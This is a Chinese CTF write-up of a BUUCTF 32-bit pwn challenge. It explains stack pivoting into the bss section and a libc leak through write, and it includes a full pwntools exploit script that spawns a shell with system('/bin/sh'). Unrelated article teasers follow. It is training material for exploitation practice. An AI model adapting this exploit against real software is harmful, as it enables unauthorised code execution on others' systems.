【PWN · 栈迁移】[BUUCTF][Black Watch 入群题]PWN

news2024/11/22 5:00:51

记一道栈迁移题目


前言

【PWN · 栈迁移】[BUUCTF]ciscn_2019_es_2_Mr_Fmnwon的博客-CSDN博客


一、代码审计

总结信息如下: 

1. 第12行存在栈溢出漏洞,刚好可以溢出覆盖到ebp和ret

2. 第9行可输入大量数据到bss段

二、思路过程

1.栈迁移

进能够覆盖ebp和ret,很难不往栈迁移上想。

修改ebp和ret后我们可以将栈指针指向另一处地址addr,需要ebp修改为ebp-4和ret修改为leave;ret地址。这是触发栈迁移的基本过程。

查看整个代码发现没有后门函数。

2.泄露libc

没有system函数的使用,但是有write函数。我们可以通过write泄露write的真实地址,从而泄露libc的地址。进一步可以拿到system和str_bin_sh的地址。

3.组合流程①

read大量数据,可以是

aaaa + write.plt + main_addr + p32(1) + write.got + p32(4) 

栈迁移后,栈顶被弹出,栈指针指向write.plt,调用write函数,参数为 (fd=1,write_real_addr,len),然后ret到main_addr,从头再次触发漏洞。

4.组合流程②

read大量数据,可以是

aaaa + system_addr + p32(0) + str_bin_sh

调用system('/bin/sh'),其中p32(0)仅为了占位

其中system和str_bin_sh通过泄露出来的write的地址得到libc版本,进而得到偏移量。

三、exp

from pwn import *
from pwn import u32,p32
from LibcSearcher import *

context.log_level='debug'
# context.terminal = ['tmux','splitw','-h']
io=process('./pwn')
# io=remote('node4.buuoj.cn',25236)9

elf=ELF('./pwn')

main_addr=0x08048513
bss_addr=0x0804A300
leave_ret=0x08048511

# gdb.attach(proc.pidof(io)[0],gdbscript="b main")
==========第一次触发漏洞
payload=b'a'*4+p32(elf.plt['write'])+p32(main_addr)+p32(1)+p32(elf.got['write'])+p32(6)
io.sendafter(b'name?',payload)
payload=b'a'*24+p32(bss_addr)+p32(leave_ret)
io.sendafter(b'say?',payload)
write_addr=u32(io.recv(4))
print(hex(write_addr))
==========泄露libc->泄露system地址、str_bin_sh地址
libc=LibcSearcher('write',write_addr)
write_bias=libc.dump('write')
system_bias=libc.dump('system')
bin_sh=libc.dump('str_bin_sh')
system_addr=write_addr-write_bias+system_bias
bin_sh_addr=write_addr-write_bias+bin_sh
==========第二次触发漏洞
payload=b'a'*4+p32(system_addr)+p32(0)+p32(bin_sh_addr)
io.sendafter(b'name?',payload)
payload=b'a'*24+p32(bss_addr)+p32(leave_ret)
io.sendafter(b'say',payload)
io.interactive()



本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/821494.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Nodejs 第八章(npm搭建私服)

构建npm私服 构建私服有什么收益吗? 可以离线使用,你可以将npm私服部署到内网集群,这样离线也可以访问私有的包。提高包的安全性,使用私有的npm仓库可以更好的管理你的包,避免在使用公共的npm包的时候出现漏洞。提高…

SAM(Segment Anything)大模型论文汇总

A Comprehensive Survey on Segment Anything Model for Vision and Beyond 论文:https://arxiv.org/abs/2305.08196 25页综述,198篇参考文献!52个开源项目!本文第一个全面回顾了分割一切模型(SAM)的研究和应用进展,…

AttributeError: module ‘PyQt5.QtGui‘ has no attribute ‘QMainWindow‘

场景描述: 这个问题是使用PyUIC将ui文件变成py文件后遇到的 解决办法: 改动1:把object改成QtWidgets.QMainWindow 改动2:增加__init__函数,函数结构如下: def __init__(self):super(Ui_MainWindow,self).…

vue03 es6中对数组的操作,vue对数据监控的原理(分别对对象和数组的监控)

在js中,对数组的操作一般都是固定的模式:常用的函数,具体的方法在这个文章中去看: http://t.csdn.cn/Fn1Ik 一般会用到的函数有: pop() 这个函数是表示把数组中的元素(数组&#xff…

Elasticsearch 全文检索 分词检索-Elasticsearch文章四

文章目录 官方文档地址refercence文档全文搜索体系match简单查询match 多词/分词单字段分词match多个词的逻辑控制match的匹配精度match_pharse_prefix分词前缀方式match_bool_prefixmulti_match多字段匹配 query string类型Interval类型DSL查询之Term详解聚合查询之Bucket聚合…

Java入门指南:Java语言优势及其特点

目录 1. Java语言简介及发展概述 2. Java语言的优势 2.1 可移植性 2.2 面向对象 2.3 安全性 2.4 大量类库 3. Java语言与C/C的区别 4. 初识Java程序入口之main方法 5. 注释、标识符、关键字 5.1 注释 5.2 标识符 5.3 关键字 1. Java语言简介及发展概述 Java是一种面…

天下风云出我辈,AI准独角兽实在智能获评“十大数字经济风云企业

时值盛夏,各地全力拼经济的氛围同样热火朝天。在浙江省经济强区余杭区这片创业热土上,人工智能助力数字经济建设正焕发出蓬勃生机。 7月28日,经专家评审、公开投票,由中共杭州市余杭区委组织部(区委两新工委&#xff…

【Java】数据结构篇:经典链表OJ题 |超详细图解+代码

博主简介:努力学习的预备程序媛一枚~博主主页: @是瑶瑶子啦所属专栏: Java岛冒险记【从小白到大佬之路】文章目录 1、获取链表的中间节点⭐2、单链表的逆置⭐3、判定链表是否是回文⭐4、链表分割5、合并两个有序链表6、链表中倒数第k个结点⭐7、判定链表相交8、判断链表带环⭐…

15、两个Runner初始化器和 springboot创建非web应用

两个Runner初始化器 两个Runner初始化器——主要作用是对component组件来执行初始化 这里的Component组件我理解为是被Component注解修饰的类 Component //用这个注解修饰的类,意味着这个类是spring容器中的一个组件,springboot应用会自动加载该组件。 …

一文读懂浏览器本地存储:Web Storage

一、 简介 二、localStorage 和 sessionStorage 2.1、区别 2.2、浏览器兼容性 三、使用说明 3.1、API介绍 3.2、浏览器查看 3.3、监听 四、存储 4.1、存储容量 4.2、存储性能 五、应用 5.1、使用习惯记录 5.2、首次打开提示 5.3、减少重复访问接口 六、总结 一、 …

在 3ds Max 中使用相机映射将静止图像转换为实时素材

推荐: NSDT场景编辑器 助你快速搭建可二次开发的3D应用场景 1. 在 Photoshop 中准备图像 步骤 1 这是我将在教程中使用的静止图像。 这是我的静态相机纸箱的快照。 静止图像 步骤 2 打开 Photoshop。将图像导入 Photoshop。 打开 Photoshop 步骤 3 单击套索工…

计算机网络基础(静态路由,动态路由,公网IP,私网IP,NAT技术)

文章目录 一:静态路由和动态路由二:静态路由的配置路由信息的方式演示三:默认路由四:公网IP和私网IP和NAT技术的基本理解 一:静态路由和动态路由 在说静态路由和动态路由前,我们需要来了解一下&#xff0…

近2年入侵13家电信公司的幕后黑手浮出水面

10月20日,网络安全公司赛门铁克刚披露了一个针对南亚电信公司的神秘APT(高级持续威胁)组织,一个名为 LightBasin 的黑客组织被确定为针对电信行业发起一系列攻击的幕后黑手,其目标是从移动通信基础设施中收集“高度特定…

【iOS】GCD深入学习

关于GCD和队列的简单介绍请看:【iOS】GCD学习 本篇主要介绍GCD中的方法。 栅栏方法:dispatch_barrier_async 我们有时候需要异步执行两组操作,而且第一组操作执行完之后,才能开始执行第二组操作,当然操作组里也可以包含一个或者…

JVM之三大垃圾回收算法

文章目录 前言一、复制算法二、标记清除三、标记整理 前言 提示:这里可以添加本文要记录的大概内容: 例如:随着人工智能的不断发展,机器学习这门技术也越来越重要,很多人都开启了学习机器学习,本文就介绍…

Django实现音乐网站 ⑶

使用Python Django框架制作一个音乐网站,在系列文章2的基础上继续开发,本篇主要是后台单曲、专辑、首页轮播图表模块开发。 目录 后台单曲、专辑表模块开发 表结构设计 单曲表(singe)结构 专辑表(album&#xff09…

安达发|APS生产派单系统对数字化工厂有哪些影响和作用

数字化工厂是当今制造业的热门话题,而APS软件则是这一领域的颠覆者。它以其独特的影响和作用,给制造业带来了巨大的改变。让我们一起来看看APS软件对数字化工厂有哪些影响和作用吧! 提高生产效率的神器 1.APS软件作为数字化工厂的核心系统&a…

Jenkins工具系列 —— 启动 Jenkins 服务报错

错误显示 apt-get 安装 Jenkins 后,自动启动 Jenkins 服务报错。 排查原因 直接运行jenkins命令 发现具体报错log:Failed to start Jetty或Failed to bind to 0.0.0.0/0.0.0.0:8080或Address already in use 说明:这里提示的是8080端口号…

权威认可|云畅科技再次入选中国信通院「高质量数字化转型产品及服务全景图」

7月27日,由中国信通院主办的2023数字生态发展大会暨中国信通院“铸基计划”年中会议在北京成功召开。 会上,中国信通院重磅发布了「高质量数字化转型产品及服务全景图(2023)」,云畅科技凭借其自研产品「万应低代码」在…

【编程语言 · C语言 · 共用体指针】

【编程语言 C语言 共用体指针】https://mp.weixin.qq.com/s?__bizMzg4NTE5MDAzOA&mid2247491538&idx1&sne1941bffaa2b85d4a7932fa94bccc84d&chksmcfade32bf8da6a3d5fc729b29452259127a7ff63efd2ad77607b0d2f2c72250b86e1841e76d3&payreadticketHLky0Bq4…